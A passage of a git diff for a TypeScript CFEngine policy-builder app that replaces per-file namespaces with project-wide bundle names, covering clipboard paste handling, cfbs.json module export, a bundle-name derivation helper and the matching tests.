policy is in the default namespace: +// a class (defined in a common bundle) is one name for the whole project, +// and a variable lives in its file's `_vars` bundle, so every +// reference names that bundle — blocks compile to bundles of their own. +// Mustache paths follow datastate(): "vars._vars." / +// "classes.". +function definitionToken(promiseType: string | undefined, definedName: string, bundle: string, label: string, group: string): TemplateToken | undefined { if (promiseType === 'classes') { - return { name: `${prefix}${definedName}`, mustachePath: `classes.${file.namespace}:${definedName}`, label, group, kind: 'class' }; + return { name: definedName, mustachePath: `classes.${definedName}`, label, group, kind: 'class' }; } if (promiseType === 'vars') { - return { name: `${prefix}vars.${definedName}`, mustachePath: `vars.${file.namespace}:vars.${definedName}`, label, group, kind: 'variable' }; + return { name: `${bundle}_vars.${definedName}`, mustachePath: `vars.${bundle}_vars.${definedName}`, label, group, kind: 'variable' }; } return undefined; } @@ -69,7 +55,7 @@ function projectDefinedTokens( for (const entry of instance.entries ?? []) { const definedName = entryName(descriptor, entry); if (!definedName || entry.id === excludeEntryId) continue; - const token = definitionToken(promiseType, definedName, { namespace: definingFile.namespace, sameFile }, instance.label, group); + const token = definitionToken(promiseType, definedName, definingFile.bundle, instance.label, group); if (token) tokens.push(token); } } diff --git a/src/renderer/src/components/properties/inputFilters.ts b/src/renderer/src/components/properties/inputFilters.ts index 9d1c679..f4c550e 100644 --- a/src/renderer/src/components/properties/inputFilters.ts +++ b/src/renderer/src/components/properties/inputFilters.ts @@ -22,8 +22,8 @@ export function filterIdentifierChars(value: string): string { } // A *reference* to an existing class (as opposed to a name being defined) -// also needs to allow ':' — cross-file class references are namespace- -// qualified as "namespace:name" (see projectDefinedTokens in classOptions.tsx). +// also allows ':', for a class from another namespace — e.g. one a cfbs +// module defines. The builder's own classes are plain, project-wide names. export function filterClassReferenceChars(value: string): string { return value.replace(/[^a-zA-Z0-9_:]/g, ''); } diff --git a/src/renderer/src/demo/nginxDemoProject.ts b/src/renderer/src/demo/nginxDemoProject.ts index f1747cd..1460112 100644 --- a/src/renderer/src/demo/nginxDemoProject.ts +++ b/src/renderer/src/demo/nginxDemoProject.ts @@ -55,10 +55,10 @@ function buildCommonBlocks(): DemoBlock[] { ]; } -const NGINX_CONF_TEMPLATE = `worker_processes {{{vars.common:vars.worker_processes}}}; +const NGINX_CONF_TEMPLATE = `worker_processes {{{vars.common_vars.worker_processes}}}; events { - worker_connections {{{vars.common:vars.worker_connections}}}; + worker_connections {{{vars.common_vars.worker_connections}}}; } http { @@ -77,14 +77,14 @@ function buildWebserverBlocksBeforeTemplate(): DemoBlock[] { { blockId: 'install-package', label: 'Install web server package', - params: { package_name: '$(common:vars.webserver_package)' }, - condition: { mode: 'if', kind: 'class', className: 'common:webserver_role' } + params: { package_name: '$(common_vars.webserver_package)' }, + condition: { mode: 'if', kind: 'class', className: 'webserver_role' } }, { blockId: 'remove-package', label: 'Remove conflicting Apache', params: { package_name: 'apache2' }, - condition: { mode: 'if', kind: 'class', className: 'common:webserver_role' } + condition: { mode: 'if', kind: 'class', className: 'webserver_role' } } ]; } diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index 0e34b0f..be2b66c 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -584,7 +584,6 @@ export default function ProjectView({ dirty, onSave }: ProjectViewProps) { announce, asOneStep, currentFileId, - files, instances, onPasted: selectOnly, sizeOf @@ -600,7 +599,7 @@ export default function ProjectView({ dirty, onSave }: ProjectViewProps) { useEffect(() => () => clearTimeout(statusMessageTimeoutRef.current), []); - const duplicateKeys = useMemo(() => duplicateDefinitionKeys(instances, blockDescriptorsById), [instances]); + const duplicateKeys = useMemo(() => duplicateDefinitionKeys(allInstances, blockDescriptorsById, currentFileId), [allInstances, currentFileId]); const handleEscape = () => { if (selectedGroup) setSelectedGroupId(null); @@ -819,7 +818,7 @@ export default function ProjectView({ dirty, onSave }: ProjectViewProps) { projectName={project.name} dirty={dirty} masterfiles={project.masterfiles} - namespace={currentFile?.namespace ?? ''} + bundle={currentFile?.bundle ?? ''} fileGate={describeFileCondition(currentFile?.condition)} blockCount={instances.length} activeTab={activeTab} @@ -869,6 +868,7 @@ export default function ProjectView({ dirty, onSave }: ProjectViewProps) { | File: {currentFile ? `${currentFile.name}.cf` : '—'} | - Namespace: {currentFile?.namespace ?? '—'} + Bundle: {currentFile?.bundle ?? '—'} | {PROJECT_TABS[activeTab]} diff --git a/src/renderer/src/pages/pasteCopies.test.ts b/src/renderer/src/pages/pasteCopies.test.ts index edf3e62..cd48ada 100644 --- a/src/renderer/src/pages/pasteCopies.test.ts +++ b/src/renderer/src/pages/pasteCopies.test.ts @@ -6,32 +6,20 @@ const subject = (overrides: Partial = {}): EditableSubject => ( const refs = [ { id: 'r1', name: 'web_ready', negate: false }, - { id: 'r2', name: 'other:db_ready', negate: true } + { id: 'r2', name: 'db_ready', negate: true } ]; describe('copySubjectFields', () => { - it('qualifies same-file class references with the source namespace across files', () => { - const copy = copySubjectFields(subject({ classRefs: refs, condition: { kind: 'class', mode: 'if', className: 'web_ready' } }), 'src_ns', true); - expect(copy.classRefs?.map(ref => ref.name)).toEqual(['src_ns:web_ready', 'other:db_ready']); + it('copies class references as they are: class names are project-wide', () => { + const copy = copySubjectFields(subject({ classRefs: refs, condition: { kind: 'class', mode: 'if', className: 'web_ready' } })); + expect(copy.classRefs?.map(ref => ref.name)).toEqual(['web_ready', 'db_ready']); expect(copy.classRefs?.map(ref => ref.negate)).toEqual([false, true]); - expect(copy.condition).toEqual({ kind: 'class', mode: 'if', className: 'src_ns:web_ready' }); - }); - - it('leaves already-qualified names alone', () => { - const copy = copySubjectFields(subject({ condition: { kind: 'class', mode: 'unless', className: 'other:db_ready' } }), 'src_ns', true); - expect(copy.condition?.className).toBe('other:db_ready'); - }); - - it('leaves names alone within the same file, without a namespace, or when empty', () => { - const input = subject({ classRefs: refs, condition: { kind: 'class', mode: 'if', className: 'web_ready' } }); - expect(copySubjectFields(input, 'src_ns', false).classRefs?.[0].name).toBe('web_ready'); - expect(copySubjectFields(input, undefined, true).condition?.className).toBe('web_ready'); - expect(copySubjectFields(subject({ condition: { kind: 'class', mode: 'if', className: '' } }), 'src_ns', true).condition?.className).toBe(''); + expect(copy.condition).toEqual({ kind: 'class', mode: 'if', className: 'web_ready' }); }); it('gives class references and steps fresh ids, keeping their content', () => { const decorators = [{ id: 'd1', decoratorId: 'string-trim', params: { a: '1' } }]; - const copy = copySubjectFields(subject({ classRefs: refs, decorators }), 'src_ns', false); + const copy = copySubjectFields(subject({ classRefs: refs, decorators })); expect(copy.classRefs?.map(ref => ref.id)).not.toContain('r1'); expect(copy.decorators?.[0].id).not.toBe('d1'); expect(copy.decorators?.[0]).toMatchObject({ decoratorId: 'string-trim', params: { a: '1' } }); @@ -43,7 +31,7 @@ describe('copySubjectFields', () => { condition: { kind: 'class', mode: 'if', className: 'x' }, inventory: { attributeName: 'Role' } }); - const copy = copySubjectFields(original, 'src_ns', false); + const copy = copySubjectFields(original); copy.decorators![0].params.a = 'changed'; copy.inventory!.attributeName = 'changed'; copy.condition!.className = 'changed'; @@ -53,7 +41,7 @@ describe('copySubjectFields', () => { }); it('keeps missing fields missing', () => { - expect(copySubjectFields(subject(), 'src_ns', true)).toEqual({ classRefs: undefined, condition: undefined, decorators: undefined, inventory: undefined }); + expect(copySubjectFields(subject())).toEqual({ classRefs: undefined, condition: undefined, decorators: undefined, inventory: undefined }); }); }); diff --git a/src/renderer/src/pages/pasteCopies.ts b/src/renderer/src/pages/pasteCopies.ts index cbf0e54..2b80816 100644 --- a/src/renderer/src/pages/pasteCopies.ts +++ b/src/renderer/src/pages/pasteCopies.ts @@ -2,17 +2,6 @@ import { entryName } from '../blocks/definitionEntries'; import type { BlockDescriptor } from '../blocks/types'; import type { BlockInstance, EditableSubject } from '../store/canvasSlice/types'; -// A class/variable reference (Condition.className, ClassReference.name) with -// no ":" means "defined in this same file" (see projectDefinedTokens in -// PropertiesPanel.tsx). Pasting into a different file moves the *reference* -// but not what it refers to, so an unqualified name would otherwise silently -// point at nothing in the new file — prefixing the source file's namespace -// keeps it pointing at the (unmoved) original. -function requalifyReference(name: string, sourceNamespace: string | undefined): string { - if (!name || !sourceNamespace || name.includes(':')) return name; - return `${sourceNamespace}:${name}`; -} - // Defined names (each entry's variable_name/class_name) are only warned // about, never enforced unique — but a same-file paste guarantees an // immediate collision with the block it was copied from, so auto-suffixing @@ -46,26 +35,14 @@ export function copyParamBindings(bindings: BlockInstance['paramBindings']): Blo } // The reference-bearing fields of a pasted subject (the instance itself, or -// one of its entries), copied with fresh ids. -export function copySubjectFields( - subject: EditableSubject, - sourceNamespace: string | undefined, - crossFile: boolean -): Pick { - const requalify = (name: string) => (crossFile ? requalifyReference(name, sourceNamespace) : name); +// one of its entries), copied with fresh ids. References need no rewriting +// across files: class names are project-wide, variables name their file's +// `_vars`. +export function copySubjectFields(subject: EditableSubject): Pick { return { - classRefs: subject.classRefs?.map(ref => ({ ...ref, id: crypto.randomUUID(), name: requalify(ref.name) })), + classRefs: subject.classRefs?.map(ref => ({ ...ref, id: crypto.randomUUID() })), decorators: subject.decorators?.map(decorator => ({ ...decorator, id: crypto.randomUUID(), params: { ...decorator.params } })), - // A 'class' condition is a namespace-scoped name, so it needs - // requalifying across files like any other class reference. A - // 'change-signal' condition points at a specific instanceId — that - // doesn't change meaning across files, so it's copied through as-is. - condition: - subject.condition?.kind === 'class' - ? { ...subject.condition, className: requalify(subject.condition.className) } - : subject.condition - ? { ...subject.condition } - : undefined, + condition: subject.condition ? { ...subject.condition } : undefined, inventory: subject.inventory ? { ...subject.inventory } : undefined }; } diff --git a/src/renderer/src/pages/useClipboardActions.ts b/src/renderer/src/pages/useClipboardActions.ts index b6d3746..9282513 100644 --- a/src/renderer/src/pages/useClipboardActions.ts +++ b/src/renderer/src/pages/useClipboardActions.ts @@ -1,18 +1,18 @@ import { blockDescriptorsById } from '../blocks/loadBlocks'; +import { primaryPromiseType } from '../blocks/resolveBlockShape'; import { GRID_SIZE, nextStackPosition } from '../canvas/layout'; import { useAppDispatch, useAppSelector } from '../store'; import { blockAdded, blockRemoved } from '../store/canvasSlice'; +import { selectCanvasBlocks } from '../store/canvasSlice/selectors'; import type { BlockInstance, DefinitionEntry } from '../store/canvasSlice/types'; import { clipboardCopied, clipboardCut, clipboardDowngradedToCopy } from '../store/clipboardSlice'; import { selectClipboard } from '../store/clipboardSlice/selectors'; -import type { PolicyFile } from '../store/filesSlice/types'; import { copyParamBindings, copySubjectFields, definedNames, uniqueParamValue } from './pasteCopies'; interface ClipboardDeps { announce: (message: string) => void; asOneStep: (run: () => void) => void; currentFileId: string | null; - files: PolicyFile[]; // The open file's blocks. instances: BlockInstance[]; onPasted: (instanceId: string) => void; @@ -20,9 +20,10 @@ interface ClipboardDeps { } // Copy / cut / paste of one block through the single-slot clipboard. -export function useClipboardActions({ announce, asOneStep, currentFileId, files, instances, onPasted, sizeOf }: ClipboardDeps) { +export function useClipboardActions({ announce, asOneStep, currentFileId, instances, onPasted, sizeOf }: ClipboardDeps) { const dispatch = useAppDispatch(); const clipboard = useAppSelector(selectClipboard); + const allInstances = useAppSelector(selectCanvasBlocks); const handleCopyBlock = (instanceId: string) => { const instance = instances.find(item => item.instanceId === instanceId); @@ -43,21 +44,24 @@ export function useClipboardActions({ announce, asOneStep, currentFileId, files, const snapshot = clipboard.snapshot; if (!snapshot || !currentFileId) return; const crossFile = snapshot.fileId !== currentFileId; - const sourceNamespace = files.find(file => file.id === snapshot.fileId)?.namespace; const descriptor = blockDescriptorsById.get(snapshot.blockId); // Same-file paste immediately collides with the block it was copied // from; cross-file paste only sometimes does. Either way, only fix up // what this paste just created — not a repo-wide uniqueness pass. + // Variables are per file; classes are project-wide names. A cut's own + // original goes away, so it doesn't count. const nameParam = descriptor?.entries?.name_param; - const taken = descriptor ? definedNames(instances, snapshot.blockId, descriptor) : new Set(); + const scope = descriptor && primaryPromiseType(descriptor) === 'classes' ? allInstances : instances; + const others = scope.filter(item => clipboard.mode !== 'cut' || item.instanceId !== snapshot.instanceId); + const taken = descriptor ? definedNames(others, snapshot.blockId, descriptor) : new Set(); const entries: DefinitionEntry[] | undefined = snapshot.entries?.map(entry => { const params = { ...entry.params }; if (nameParam && params[nameParam]) { params[nameParam] = uniqueParamValue(params[nameParam], taken); taken.add(params[nameParam]); } - return { ...entry, ...copySubjectFields(entry, sourceNamespace, crossFile), id: crypto.randomUUID(), params }; + return { ...entry, ...copySubjectFields(entry), id: crypto.randomUUID(), params }; }); let pastedId = ''; @@ -75,7 +79,7 @@ export function useClipboardActions({ announce, asOneStep, currentFileId, files, ? { x: snapshot.position.x + 2 * GRID_SIZE, y: snapshot.position.y + 2 * GRID_SIZE } : nextStackPosition(instances, sizeOf), valueSourceId: snapshot.valueSourceId, - ...copySubjectFields(snapshot, sourceNamespace, crossFile), + ...copySubjectFields(snapshot), entries, incomingMode: snapshot.incomingMode, paramBindings: copyParamBindings(snapshot.paramBindings) diff --git a/src/renderer/src/project/cfbsProject.test.ts b/src/renderer/src/project/cfbsProject.test.ts index bf7688a..f5e8634 100644 --- a/src/renderer/src/project/cfbsProject.test.ts +++ b/src/renderer/src/project/cfbsProject.test.ts @@ -38,31 +38,62 @@ describe('cfbsProject', () => { expect(restored.derivedNodes).toEqual(state.derivedNodes); }); - it('writes one plain local file module per policy file, its folder as a path', () => { - const { fileId, state } = buildProject(); + it('mirrors the file tree: a top-level file is a file module, a top-level folder a directory module', () => { + const { fileId, folderId, state } = buildProject(); const { meta, modules } = toCfbsProject(state); const file = state.files.files.find(item => item.id === fileId)!; - const path = `policy/services/${file.namespace}.cf`; - expect(modules).toHaveLength(state.files.files.length); - // Exactly what `cfbs add` writes, but for the namespaced bundle; no builder data on it. - expect(modules.find(item => item.name === `./${path}`)).toEqual({ - name: `./${path}`, + // Exactly what `cfbs add` writes, but for the bundles step; no builder data on modules. + expect(modules.map(module => module.name)).toEqual(['./common.cf', './webserver.cf', './services/']); + expect(modules[1]).toEqual({ + name: './webserver.cf', description: 'Local policy file added using cfbs command line', tags: ['local'], added_by: 'cfbs add', - steps: [`copy ./${path} services/cfbs/${path}`, `policy_files services/cfbs/${path}`, `bundles ${file.namespace}:main`] + steps: ['copy ./webserver.cf services/cfbs/webserver.cf', 'policy_files services/cfbs/webserver.cf', 'bundles webserver'] }); - expect(meta[META_KEY]).toMatchObject({ schema_version: SCHEMA_VERSION, folders: [{ name: 'Services', path: './policy/services/' }] }); - expect(meta[META_KEY].files.map(item => item.path)).toEqual(modules.map(item => item.name)); + expect(modules[2]).toEqual({ + name: './services/', + description: 'Local subdirectory added using cfbs command line', + tags: ['local'], + added_by: 'cfbs add', + steps: ['directory ./ services/cfbs/services/', 'policy_files services/cfbs/services/', `bundles ${file.bundle}`] + }); + expect(meta[META_KEY]).toMatchObject({ schema_version: SCHEMA_VERSION, folders: [{ id: folderId, name: 'Services', path: './services/' }] }); expect(meta[META_KEY].files.find(item => item.id === fileId)).toMatchObject({ name: 'Cron jobs', - namespace: file.namespace, - path: `./${path}`, + bundle: 'cron_jobs', + path: './services/cron_jobs.cf', condition: { className: 'linux' } }); }); + it('lists the files of a folder in one bundles step, nested ones included, in file order', () => { + const store = makeStore(); + const top = store.dispatch(folderAdded('Services')).payload.id; + const nested = store.dispatch(folderAdded('DB', top)).payload.id; + const empty = store.dispatch(folderAdded('Empty')).payload.id; + addBlock(store, store.dispatch(fileAdded('Cron', top)).payload.id); + addBlock(store, store.dispatch(fileAdded('Postgres', nested)).payload.id); + store.dispatch(fileAdded('Only vars', top)); + + const { meta, modules } = toCfbsProject(store.getState()); + + expect(modules.map(module => module.name)).toEqual(['./services/']); + expect(modules[0].steps.at(-1)).toBe('bundles cron postgres'); + expect(meta[META_KEY].files.map(file => file.path)).toEqual(['./services/cron.cf', './services/db/postgres.cf', './services/only_vars.cf']); + expect(meta[META_KEY].folders.find(folder => folder.id === empty)?.path).toBe('./empty/'); + }); + + it('gives a file of only variables and classes no bundles step: it has no entry bundle', () => { + const store = makeStore(); + createNginxDemoProject(store.dispatch); + const [common, webserver] = toCfbsProject(store.getState()).modules; + + expect(common.steps).toEqual(['copy ./common.cf services/cfbs/common.cf', 'policy_files services/cfbs/common.cf']); + expect(webserver.steps.at(-1)).toBe('bundles webserver'); + }); + it('keeps editor-only data in layout, and resolves the execution order', () => { const { state } = buildProject(); const { files } = toCfbsProject(state).meta[META_KEY]; @@ -75,16 +106,17 @@ describe('cfbsProject', () => { expect(files.some(file => file.order.length > 1)).toBe(true); }); - it('gives paths cfbs accepts: slugged, unique folders; file names starting with a letter', () => { + it('gives paths cfbs accepts: slugged, unique folders starting with a letter, never out/', () => { const store = makeStore(); const first = store.dispatch(folderAdded('Web Servers!')).payload.id; const second = store.dispatch(folderAdded('web servers')).payload.id; - store.dispatch(fileAdded('2024 plan', first)); - store.dispatch(fileAdded('Main', second)); + const numbered = store.dispatch(folderAdded('2024')).payload.id; + const out = store.dispatch(folderAdded('Out')).payload.id; + for (const folder of [first, second, numbered, out]) store.dispatch(fileAdded('Plan', folder)); const names = toCfbsProject(store.getState()).modules.map(module => module.name); - expect(names).toEqual(['./policy/web-servers/file_2024_plan.cf', './policy/web-servers-2/main.cf']); + expect(names).toEqual(['./web-servers/', './web-servers-2/', './folder-2024/', './out-2/']); }); it('refuses a newer schema version', () => { @@ -140,9 +172,9 @@ describe('loadCfbsProject', () => { }); it('tolerates corrupt per-file lists', () => { - const file = { id: 'f1', name: 'A', namespace: 'a', path: './policy/a.cf', blocks: 'oops', layout: 'oops' }; + const file = { id: 'f1', name: 'A', bundle: 'a', path: './a.cf', blocks: 'oops', layout: 'oops' }; const { data } = loadCfbsProject({ build: [], meta: { [META_KEY]: { schema_version: SCHEMA_VERSION, files: [file] } } }, 'x'); expect(data.canvas).toEqual([]); - expect(data.files.files).toEqual([{ id: 'f1', name: 'A', namespace: 'a', parentId: null }]); + expect(data.files.files).toEqual([{ bundle: 'a', id: 'f1', name: 'A', parentId: null }]); }); }); diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts index 8db8fb8..9bd863b 100644 --- a/src/renderer/src/project/cfbsProject.ts +++ b/src/renderer/src/project/cfbsProject.ts @@ -1,34 +1,37 @@ import { blockDescriptorsById } from '../blocks/loadBlocks'; -import { executionOrder } from '../canvas/executionOrder'; +import { executionOrder, isSequenced } from '../canvas/executionOrder'; import type { RootState } from '../store'; import type { BlockInstance, Condition } from '../store/canvasSlice/types'; import type { BlockEdge } from '../store/edgesSlice/types'; import filesReducer, { projectFilesInitialized } from '../store/filesSlice'; +import { deriveBundle } from '../store/filesSlice/deriveBundle'; import type { PolicyFile, PolicyFolder } from '../store/filesSlice/types'; import type { BlockGroup } from '../store/groupsSlice/types'; import type { UndoableKey } from '../store/history'; /** - * The builder's state as it's stored in cfbs.json: a normal cfbs project with - * one plain local file module per policy file (what `cfbs add ./policy/x.cf` - * writes), and all of the builder's own data — folders and every file's - * canvas — in the top-level `meta["policy-builder"]`. Folders are only path - * prefixes. The .cf files themselves aren't generated yet. + * The builder's state as it's stored in cfbs.json: a normal cfbs project that + * mirrors the file tree — each top-level policy file is a local file module, + * each top-level folder one local directory module (what `cfbs add` writes + * for them) — with all of the builder's own data, folders and every file's + * canvas, in the top-level `meta["policy-builder"]`. */ export const SCHEMA_VERSION = 1; export const META_KEY = 'policy-builder'; -const POLICY_DIR = './policy/'; -const OUTPUT_DIR = 'services/cfbs/policy/'; +const ROOT = './'; +const OUTPUT_DIR = 'services/cfbs/'; +// Top-level names cfbs uses itself, next to cfbs.json. +const RESERVED_FOLDERS = ['./out/']; export type ProjectData = Pick; type Position = { x: number; y: number }; export interface ProjectMeta { current_file_id: string | null; - // In build order; each file's `path` is its module's name. + // In file order; each file's `path` is where its policy is written. files: FileMeta[]; - // `path` is the folder's directory, e.g. "./policy/services/". + // `path` is the folder's directory, e.g. "./services/". folders: (PolicyFolder & { path: string })[]; schema_version: number; // Stamped by the main process on save (the app's version). @@ -37,6 +40,8 @@ export interface ProjectMeta { export interface FileMeta { blocks: Omit[]; + // The entry bundle, and the prefix of the file's other bundles. + bundle: string; condition?: Condition; edges: Omit[]; id: string; @@ -49,10 +54,9 @@ export interface FileMeta { }; // The display name; the path is a slug. name: string; - namespace: string; // The methods: call order, resolved here so a compiler needs no canvas. order: string[]; - // The file's module in `build`, e.g. "./policy/services/cron_jobs.cf". + // The generated policy file, e.g. "./services/db/postgres.cf". path: string; } @@ -71,13 +75,17 @@ export interface CfbsProjectContent { const withoutFileId = ({ fileId: _fileId, ...rest }: T): Omit => rest; -const slug = (name: string) => - name - .toLowerCase() - .replace(/[^a-z0-9]+/g, '-') - .replace(/^-+|-+$/g, '') - .slice(0, 40) - .replace(/-+$/, '') || 'folder'; +// A folder's directory name. cfbs wants a module's last path part to start with a letter. +const slug = (name: string) => { + const base = + name + .toLowerCase() + .replace(/[^a-z0-9]+/g, '-') + .replace(/^-+|-+$/g, '') + .slice(0, 40) + .replace(/-+$/, '') || 'folder'; + return /^[a-z]/.test(base) ? base : `folder-${base}`; +}; // Folder id → its directory; sibling folders whose slugs clash get -2, -3…. function folderPaths(folders: PolicyFolder[]): Map { @@ -86,8 +94,8 @@ function folderPaths(folders: PolicyFolder[]): Map { const known = paths.get(folder.id); if (known) return known; const parent = folders.find(item => item.id === folder.parentId); - const base = parent ? resolve(parent) : POLICY_DIR; - const taken = new Set([...paths.values()]); + const base = parent ? resolve(parent) : ROOT; + const taken = new Set([...RESERVED_FOLDERS, ...paths.values()]); let path = `${base}${slug(folder.name)}/`; for (let suffix = 2; taken.has(path); suffix += 1) path = `${base}${slug(folder.name)}-${suffix}/`; paths.set(folder.id, path); @@ -97,9 +105,6 @@ function folderPaths(folders: PolicyFolder[]): Map { return paths; } -// cfbs wants a module's file name to start with a lowercase letter. -const fileNameOf = (namespace: string) => `${/^[a-z]/.test(namespace) ? '' : 'file_'}${namespace}.cf`; - function toFileMeta(file: PolicyFile, path: string, data: ProjectData): FileMeta { const prefix = `${file.id}|`; const instances = data.canvas.filter(block => block.fileId === file.id); @@ -110,7 +115,7 @@ function toFileMeta(file: PolicyFile, path: string, data: ProjectData): FileMeta return { id: file.id, name: file.name, - namespace: file.namespace, + bundle: file.bundle, path, ...(file.condition ? { condition: file.condition } : {}), blocks: instances.map(({ fileId: _fileId, position: _position, ...rest }) => rest), @@ -124,21 +129,51 @@ function toFileMeta(file: PolicyFile, path: string, data: ProjectData): FileMeta }; } -// Exactly what `cfbs add` writes, except the namespaced bundle (it would write `bundles main`). -function toModule(file: PolicyFile, path: string): PolicyModule { - const output = `${OUTPUT_DIR}${path.slice(POLICY_DIR.length)}`; +// The module a policy file belongs to: "./nginx.cf" itself, or its top-level folder "./services/". +export const moduleNameOf = (path: string) => { + const parts = path.slice(ROOT.length).split('/'); + return parts.length === 1 ? path : `${ROOT}${parts[0]}/`; +}; + +// cfbs's MAX_BUILD_STEP_LENGTH. +const MAX_STEP_LENGTH = 256; + +// `bundles a b c`, split over as many steps as cfbs's step length limit needs. +function bundlesSteps(bundles: string[]): string[] { + const steps: string[] = []; + for (const bundle of bundles) { + const last = steps.at(-1); + if (last && last.length + 1 + bundle.length <= MAX_STEP_LENGTH) steps[steps.length - 1] = `${last} ${bundle}`; + else steps.push(`bundles ${bundle}`); + } + return steps; +} + +// Exactly what `cfbs add` writes for a file or a directory, except the `bundles` +// step: it lists every file's entry bundle (cfbs would pick one), and a file of +// only variables and classes has none to list. +function toModule(name: string, entryBundles: string[]): PolicyModule { + const output = `${OUTPUT_DIR}${name.slice(ROOT.length)}`; + const isDirectory = name.endsWith('/'); return { - name: path, - description: 'Local policy file added using cfbs command line', + name, + description: isDirectory ? 'Local subdirectory added using cfbs command line' : 'Local policy file added using cfbs command line', tags: ['local'], added_by: 'cfbs add', - steps: [`copy ${path} ${output}`, `policy_files ${output}`, `bundles ${file.namespace}:main`] + steps: [isDirectory ? `directory ./ ${output}` : `copy ${name} ${output}`, `policy_files ${output}`, ...bundlesSteps(entryBundles)] }; } export function toCfbsProject(data: ProjectData): CfbsProjectContent { const paths = folderPaths(data.files.folders); - const pathOf = (file: PolicyFile) => `${(file.parentId && paths.get(file.parentId)) || POLICY_DIR}${fileNameOf(file.namespace)}`; + const pathOf = (file: PolicyFile) => `${(file.parentId && paths.get(file.parentId)) || ROOT}${file.bundle}.cf`; + const callsBlocks = (file: PolicyFile) => data.canvas.some(block => block.fileId === file.id && isSequenced(blockDescriptorsById.get(block.blockId))); + // Modules in the order their first file appears; a folder's bundles in file order. + const modules = new Map(); + for (const file of data.files.files) { + const name = moduleNameOf(pathOf(file)); + modules.set(name, [...(modules.get(name) ?? []), ...(callsBlocks(file) ? [file.bundle] : [])]); + } return { meta: { [META_KEY]: { @@ -148,7 +183,7 @@ export function toCfbsProject(data: ProjectData): CfbsProjectContent { current_file_id: data.files.currentFileId } }, - modules: data.files.files.map(file => toModule(file, pathOf(file))) + modules: [...modules].map(([name, bundles]) => toModule(name, bundles)) }; } @@ -185,11 +220,11 @@ export function fromCfbsProject(json: unknown): ProjectData { // A file's folder is the one whose directory holds it. const folderOf = (path: string) => folders.find(folder => typeof folder.path === 'string' && path === `${folder.path}${path.split('/').pop()}`); - const files: PolicyFile[] = modules.map(({ file: { condition, id, name, namespace }, path }) => ({ + const files: PolicyFile[] = modules.map(({ file: { bundle, condition, id, name }, path }) => ({ + bundle: typeof bundle === 'string' && bundle ? bundle : deriveBundle(typeof name === 'string' ? name : ''), ...(condition ? { condition } : {}), id, name: typeof name === 'string' ? name : id, - namespace: typeof namespace === 'string' ? namespace : id, parentId: folderOf(path)?.id ?? null })); const perFile = (pick: (file: FileMeta) => T[] | undefined) => diff --git a/src/renderer/src/store/filesSlice/deriveBundle.ts b/src/renderer/src/store/filesSlice/deriveBundle.ts new file mode 100644 index 0000000..3b51519 --- /dev/null +++ b/src/renderer/src/store/filesSlice/deriveBundle.ts @@ -0,0 +1,31 @@ +import reserved from '@blocks/lib/reserved-bundles.json'; + +const FALLBACK_BUNDLE = 'file'; + +// Generated policy is in the default namespace, next to masterfiles: its +// bundle names are taken, and so are CFEngine's special-variable contexts. +const RESERVED_BUNDLES = new Set([...reserved.bundles, 'default', 'sys', 'const', 'mon', 'this', 'match', 'edit', 'vars', 'classes']); + +/** + * Derives a policy file's bundle name from its name at creation time — its + * entry bundle, and the prefix of its other bundles (`_vars`, + * `_`). A one-time derivation: stored and never recomputed, + * even if the file is later renamed. Unique project-wide, starts with a + * letter, never a masterfiles bundle or another file's `_vars` bundle. + */ +export function deriveBundle(name: string, existingBundles: string[] = []): string { + const slug = + name + .trim() + .toLowerCase() + .replace(/[^a-z0-9]+/g, '_') + .replace(/^_+|_+$/g, '') || FALLBACK_BUNDLE; + const base = /^[a-z]/.test(slug) ? slug : `${FALLBACK_BUNDLE}_${slug}`; + // Every file also owns `_vars`, so neither name may meet another file's. + const taken = new Set([...RESERVED_BUNDLES, ...existingBundles.flatMap(bundle => [bundle, `${bundle}_vars`])]); + const isFree = (candidate: string) => !taken.has(candidate) && !taken.has(`${candidate}_vars`); + if (isFree(base)) return base; + let suffix = 2; + while (!isFree(`${base}_${suffix}`)) suffix += 1; + return `${base}_${suffix}`; +} diff --git a/src/renderer/src/store/filesSlice/deriveNamespace.ts b/src/renderer/src/store/filesSlice/deriveNamespace.ts deleted file mode 100644 index fda1d6a..0000000 --- a/src/renderer/src/store/filesSlice/deriveNamespace.ts +++ /dev/null @@ -1,26 +0,0 @@ -const FALLBACK_NAMESPACE = 'file'; - -// "default" is CFEngine's own namespace; the rest are special-variable -// contexts a namespace of the same name would shadow or confuse. -const RESERVED_NAMESPACES = new Set(['default', 'sys', 'const', 'mon', 'this', 'match', 'edit', 'vars', 'classes']); - -/** - * Derives a policy file's namespace from its name at creation time. Per - * architecture-plan.md, this is a one-time derivation — the result is - * stored and never recomputed, even if the file is later renamed. - * Unique project-wide (case-insensitive after slugging), never empty, never reserved. - */ -export function deriveNamespace(name: string, existingNamespaces: string[] = []): string { - const slug = - name - .trim() - .toLowerCase() - .replace(/[^a-z0-9]+/g, '_') - .replace(/^_+|_+$/g, '') || FALLBACK_NAMESPACE; - const taken = new Set(existingNamespaces); - const isFree = (candidate: string) => !taken.has(candidate) && !RESERVED_NAMESPACES.has(candidate); - if (isFree(slug)) return slug; - let suffix = 2; - while (!isFree(`${slug}_${suffix}`)) suffix += 1; - return `${slug}_${suffix}`; -} diff --git a/src/renderer/src/store/filesSlice/filesSlice.test.ts b/src/renderer/src/store/filesSlice/filesSlice.test.ts index 135f4f7..0fddc2d 100644 --- a/src/renderer/src/store/filesSlice/filesSlice.test.ts +++ b/src/renderer/src/store/filesSlice/filesSlice.test.ts @@ -13,7 +13,7 @@ import { } from '.'; import { projectCreated } from '../projectSlice'; import { addFile, fileOf, makeStore } from '../test/storeTestUtils'; -import { deriveNamespace } from './deriveNamespace'; +import { deriveBundle } from './deriveBundle'; import { selectCurrentFile } from './selectors'; const addFolder = (store: ReturnType, name: string, parentId: string | null = null) => store.dispatch(folderAdded(name, parentId)).payload.id; @@ -23,24 +23,24 @@ describe('filesSlice', () => { it('adds the file and makes it current', () => { const store = makeStore(); const fileId = addFile(store, 'Web Server'); - expect(fileOf(store, fileId)).toMatchObject({ name: 'Web Server', namespace: 'web_server', parentId: null }); + expect(fileOf(store, fileId)).toMatchObject({ name: 'Web Server', bundle: 'web_server', parentId: null }); expect(selectCurrentFile(store.getState())?.id).toBe(fileId); }); - it('keeps namespaces unique project-wide, even across folders', () => { + it('keeps bundle names unique project-wide, even across folders', 